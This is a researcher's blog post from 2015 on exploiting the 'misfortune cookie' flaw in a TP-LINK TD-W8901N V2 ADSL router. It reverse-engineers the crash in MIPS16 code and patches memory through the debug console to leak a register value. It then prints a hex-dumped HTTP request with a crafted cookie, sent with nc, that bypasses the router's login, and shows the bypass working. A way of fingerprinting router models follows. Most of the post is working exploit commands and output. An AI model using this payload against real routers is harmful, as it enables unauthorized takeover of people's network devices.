by cawan (cawan[at]ieee.org or chuiyewleong[at]hotmail.com)
http://cawanblog.blogspot.com/2015/04/understanding-mips16-to-mips32.html
on 26/04/2015
TD-W8901N V2 is a new release of ADSL router to supersede the previous V1 with the
first version of firmware being published on 3rd Nov 2014. I expect it should have
some remedies to rom-0 and misfortune cookie bugs. Let's have a look.
cawan$ wget 192.168.1.1/rom-0
--2015-04-26 22:38:56-- http://192.168.1.1/rom-0
Connecting to 192.168.1.1:80... connected.
HTTP request sent, awaiting response... 404 Not Found
2015-04-26 22:38:56 ERROR 404: Not Found.
Well, rom-0 bug is fixed in this version. Now, let's try with misfortune cookie
bug.
cawan$ curl --header 'Cookie: C' 192.168.1.1
At console, it shows,
TLB refill exception occured!
EPC= 0x800EDA07
SR= 0x10000003
CR= 0xC080580C
$RA= 0x00000000
Bad Virtual Address = 0x00000000
UTLB_TLBS ..\core\sys_isr.c:336 sysreset()
$r0= 0x00000000 $at= 0x803F0000 $v0= 0x00000000 $v1= 0x00000001
$a0= 0x00000001 $a1= 0x80593D80 $a2= 0x00000001 $a3= 0x802A83C4
$t0= 0x8001FF80 $t1= 0xFFFFFFFE $t2= 0x00279AE7 $t3= 0x00000000
$t4= 0x00000002 $t5= 0x8044F3D8 $t6= 0x00000000 $t7= 0x8044EF00
$s0= 0x805A03E8 $s1= 0x8044EF00 $s2= 0x00000001 $s3= 0x803AD7B0
$s4= 0x803AD7AC $s5= 0x8000007C $s6= 0x00000000 $s7= 0x00000000
$t8= 0x00000000 $t9= 0x00000000 $k0= 0x00000000 $k1= 0x8000007C
$gp= 0x803B02D4 $sp= 0x805A03E8 $fp= 0x805A03E8 $ra= 0x80034F04
...
...
current task = httpd
dump task = network
tx_stack_ptr = 0x8058FC18
tx_stack_start = 0x8058BD78
tx_stack_end = 0x8058FD77
tx_stack_size = 0x00004000
tx_run_count = 0x00001375
...
...
Unfortunately, the misfortune cookie bug is still there. By using the method that
I have mentioned in my previous paper, the exploit should easily be developed.
However, there is an interesting issue in this version of firmware which is worth
to discuss, MIPS16. In all the firmwares with misfortune cookie bug that I have
studied before, all of them are running in MIPS32, so this is the first time I get
a firmware which is running in MIPS16, or the hybrid of MIPS16 and MIPS32. How to
know it is running in MIPS16 ? Simple, the EPC is crashed at an odd number value,
0x800EDA07. In MIPS32, the first 2 bits from LSB is normally set as zero, because
each instruction is with fixed length of 32-bit. However, in MIPS16, the first bit
from LSB is set as one, while the second bit is in used for addressing and keep
toggling with one and zero. Now, let's have a look to the code snippet around
0x800EDA07.
ROM:800ED9EE lb $a3, 0($s0)
ROM:800ED9F0 li $a1, 0x3D
ROM:800ED9F2 cmpi $a3, 0x43
ROM:800ED9F4 btnez loc_800EDA38
ROM:800ED9F6 addiu $s0, 1
ROM:800ED9F8 move $a0, $s0
ROM:800ED9FA jal sub_80130928
ROM:800ED9FE nop
ROM:800EDA00 move $a0, $s0
ROM:800EDA02 move $s1, $v0
ROM:800EDA04 move $a3, $zero
ROM:800EDA06 jalx sub_801B3C2C
ROM:800EDA0A sb $a3, 0($s1)
ROM:800EDA0C addiu $s1, 1
ROM:800EDA0E move $a0, $s1
ROM:800EDA10 jal sub_80130C58
ROM:800EDA14 sw $v0, 8($sp)
ROM:800EDA16 addu $s0, $s1, $v0
ROM:800EDA18 move $a3, $zero
ROM:800EDA1A sb $a3, 0($s0)
ROM:800EDA1C lw $v1, 0xC($sp)
ROM:800EDA1E li $a3, 0x6B28
ROM:800EDA22 addu $a3, $v1, $a3
ROM:800EDA24 lw $v1, 8($sp)
ROM:800EDA26 li $a2, 0x28
ROM:800EDA28 mult $v1, $a2
ROM:800EDA2A mflo $a1
ROM:800EDA2C addu $a0, $a3, $a1
ROM:800EDA2E move $a1, $s1
ROM:800EDA30 jal sub_8012F844
ROM:800EDA34 nop
ROM:800EDA36 b loc_800EDA52
At 0x800EDA07, the instruction being executed is
ROM:800EDA06 jalx sub_801B3C2C
However, due to one delay slot in MIPS architecture, the faulty instruction
should be
ROM:800EDA0A sb $a3, 0($s1)
The reason is $s1 is getting from $v0, which is the return value of sub_80130928.
When not passing any parameter in misfortune cookie, sub_80130928 will return a
null, and eventually will cause a write operation to address 0x00000000, which is
invalid, and in turn crashing the system. Now, to develop an exploit for this
version of firmware, the value of $v1 at ROM:800EDA22 is necessary. With the
method as mentioned in my previous paper, an instruction should be injected at
that address to duplicate the value of $v1 into $s7, following by another
instruction to crash the system and print the value of $s7 via the console as
crash log. The reason I choose $s7 is because it is not being used by sysreset()
in system crashing, so it will not be overridden, and I can get the exact value
of $v1 from crash log. But, in MIPS16, $s7 is unavailable. The registers which
are available in MIPS16 are $s0, $s1, $v0, $v1, $a0, $a1, $a2, and $a3, where
all of them will be overridden by sysreset(). I get this conclusion by trying all
of them in MIPS16, but not going to reverse sysreset().
Well, it is necessary to switch from MIPS16 into MIPS32 first before getting $s7
ready to show the value of $v1. In order to switch from MIPS16 to MIPS32, jalx
instruction should be used. By referring [1] page 83, it is possible to create
a special jalx instruction to get the job done. Let's assume the jalx instruction
can be located at any specific address to switch MIPS16 into MIPS32 and then
divert the instruction flow to another address which is patched with instruction
to duplicate the value of specific register into $s7 and then crash immediately.
So, if we need to get the value of $v1 at ROM:800EDA22, we can patch the address
with "jalx 0x800eda34" and at ROM:800EDA34, we can patch it with "jr $zero", and
at ROM:800EDA38, we patch it with "add $s7, $v1, $zero". Why "add $s7, $v1, $zero"
is after "jr $zero" ? Please keep delay slot in mind. Let's do it now.
Bootbase Version: VTC_SPI1.26 | 2012/12/26 16:00:00
RAM: Size = 8192 Kbytes
Found SPI Flash 2MiB EN25QH16 at 0xbfc00000
SPI Flash Quad Enable
Turn off Quad Mode
RAS Version: 2.0.0 Build 141103 Rel.09284
System ID: $2.12.191.0(G04.BZ.4)3.20.17.0 20141024_v005 | 2014/10/24
Press any key to enter debug mode within 3 seconds.
........
Enter Debug Mode
ATEN1, D423EB58
OK
ATWL 80014AC4, ac30fffc
OK
atgr
OK
(Compressed)
Version: ADSL ATU-R, start: bfc86030
Length: 3882D4, Checksum: 1919
Compressed Length: 1369FF, Checksum: 0EB9
ERROR
ATWL 800EDA24, 1C60B68D
OK
ATWL 800EDA34, 00000008
OK
ATWL 800eda38, 0060b820
OK
atgo 80020000
Copyright (c) 2001 - 2006 TP-LINK TECHNOLOGIES CO., LTD
running romfile and backup romfile is the same
Erasing 4K Sector...
Erasing 4K Sector...
...
...
cawan$ curl --header 'Cookie: C8=cawan' 192.168.1.1
TLB refill exception occured!
EPC= 0x00000000
SR= 0x10000003
CR= 0x50801C08
$RA= 0x80020000
Bad Virtual Address = 0x00000000
UTLB_TLBL ..\core\sys_isr.c:336 sysreset()
$r0= 0x00000000 $at= 0x803F0000 $v0= 0x00000000 $v1= 0x00000001
$a0= 0x00000001 $a1= 0x80593D80 $a2= 0x00000001 $a3= 0x802A83C4
$t0= 0x8001FF80 $t1= 0xFFFFFFFE $t2= 0x00060D2F $t3= 0x00000000
$t4= 0x00000002 $t5= 0x8044F3D8 $t6= 0x00000000 $t7= 0x8044EF00
$s0= 0x805A03E8 $s1= 0x8044EF00 $s2= 0x00000001 $s3= 0x803AD7B0
$s4= 0x803AD7AC $s5= 0x8000007C $s6= 0x00000000 $s7= 0x803B12A8
$t8= 0x00000000 $t9= 0x00000000 $k0= 0x00000000 $k1= 0x8000007C
$gp= 0x803B02D4 $sp= 0x805A03E8 $fp= 0x805A03E8 $ra= 0x80034F04
...
...
So, the value of $v1 is 0x803B12A8 and $a3 is 0x803B12A8 + 0x6B28 = 0x803B7DD0.
On the other hand, since the EPC is stopped at 0x00000000, which is not an odd
number value, it shows the system has been switched from MIPS16 into MIPS32 before
getting crashed. So, it is ready to create our exploit right now. Let's do it.
cawan$ cat cawan_header_unlock | xxd
0000000: 4745 5420 2f20 4854 5450 2f31 2e31 0a55 GET / HTTP/1.1.U
0000010: 7365 722d 4167 656e 743a 2063 7572 6c2f ser-Agent: curl/
0000020: 372e 3333 2e30 0a48 6f73 743a 2031 3932 7.33.0.Host: 192
0000030: 2e31 3638 2e31 2e31 0a41 6363 6570 743a .168.1.1.Accept:
0000040: 202a 2f2a 0a43 6f6f 6b69 653a 2043 3130 */*.Cookie: C10
0000050: 3733 3436 3430 323d 6161 6161 6161 6161 7346402=aaaaaaaa
0000060: 6161 6161 610a aaaaa.
cawan$
cawan$ curl -v 192.168.1.1
* Rebuilt URL to: 192.168.1.1/
* About to connect() to 192.168.1.1 port 80 (#0)
* Trying 192.168.1.1...
* Adding handle: conn: 0x7fa97a000000
* Adding handle: send: 0
* Adding handle: recv: 0
* Curl_addHandleToPipeline: length: 1
* - Conn 0 (0x7fa97a000000) send_pipe: 1, recv_pipe: 0
* Connected to 192.168.1.1 (192.168.1.1) port 80 (#0)
> GET / HTTP/1.1
> User-Agent: curl/7.33.0
> Host: 192.168.1.1
> Accept: */*
>
< HTTP/1.1 303 See Other
< Location: http://192.168.1.1/login_security.html
< Content-Length: 0
* Server RomPager/4.07 UPnP/1.0 is not blacklisted
< Server: RomPager/4.07 UPnP/1.0
< EXT:
<
* Connection #0 to host 192.168.1.1 left intact
cawan$
cawan$ cat cawan_header_unlock | nc 192.168.1.1 80
cawan$
cawan$ curl -v 192.168.1.1
* Rebuilt URL to: 192.168.1.1/
* About to connect() to 192.168.1.1 port 80 (#0)
* Trying 192.168.1.1...
* Adding handle: conn: 0x7ffe01005400
* Adding handle: send: 0
* Adding handle: recv: 0
* Curl_addHandleToPipeline: length: 1
* - Conn 0 (0x7ffe01005400) send_pipe: 1, recv_pipe: 0
* Connected to 192.168.1.1 (192.168.1.1) port 80 (#0)
> GET / HTTP/1.1
> User-Agent: curl/7.33.0
> Host: 192.168.1.1
> Accept: */*
>
< HTTP/1.1 200 OK
< Content-Type: text/html
< Date: Sat, 01 Jan 2000 00:01:04 GMT
< Pragma: no-cache
< Expires: Thu, 26 Oct 1995 00:00:00 GMT
< Transfer-Encoding: chunked
* Server RomPager/4.07 UPnP/1.0 is not blacklisted
< Server: RomPager/4.07 UPnP/1.0
< EXT:
<
...
...
Cool, the exploit works like a charm.
There are quite a number of peoples are questioning to the usefulness of misfortune
cookie bug by assuming all of them must come with rom-0 bug. In reality, rom-0 bug
can simply be removed or fixed by those who having html to c utility, which is
normally in the disposal of majority downstream manufacturer. However, httpd.a is
usually obtained from upstream in binary format which is almost impossible to be
modified by downstream in proper condition. On the other hand, someone might argue
again while the new version has using web login without the popup box which indicate
the model number of the router, then how to determine the model number of the target
router now ? The answer is in fact fairly simple,
cawan$ wget 192.168.1.1/DeviceDescription.xml
--2015-04-27 03:09:04-- http://192.168.1.1/DeviceDescription.xml
Connecting to 192.168.1.1:80... connected.
HTTP request sent, awaiting response... 200 OK
Length: unspecified [text/xml]
Saving to: ‘DeviceDescription.xml’
[ <=> ] 6,271 19.3KB/s in 0.3s
2015-04-27 03:09:05 (19.3 KB/s) - ‘DeviceDescription.xml’ saved [6271]
cawan$
cawan$ cat DeviceDescription.xml | grep -i modelname
cawan$
Enjoy.
Add-on:
jalx target
xxxxx y aaaaa bbbbb cccccccccccccccc
xxxxx = 00011
y = 1
aaaaa = target (20:16)
bbbbb = target (25:21)
cccccccccccccccc = target (15:0)
When target = 0x800eda34, since it is located at kseg0, and the MSB will always
reset to 0 while mapping to physical address. So, it can be neglected and assume
it is 0x000eda34. Because each instruction taking 32-bit or 4-byte, the target
should be converted to (0x000eda34 / 4) = 0x3b68d. Hence,
aaaaa = 00011
bbbbb = 00000
cccccccccccccccc = 0xb68d
Thus, the "jalx 0x800eda34" in hex format is,
00011 1 00011 00000 (0xb68d)
0001 1100 0110 0000 (0xb68d)
(0x1) (0xc) (0x6) (0x0) (0xb68d)
0x1c60b68d
References:-
[1] http://saluc.engr.uconn.edu/refs/processors/mips/mip32_prog_4a.pdf
No comments:
Post a Comment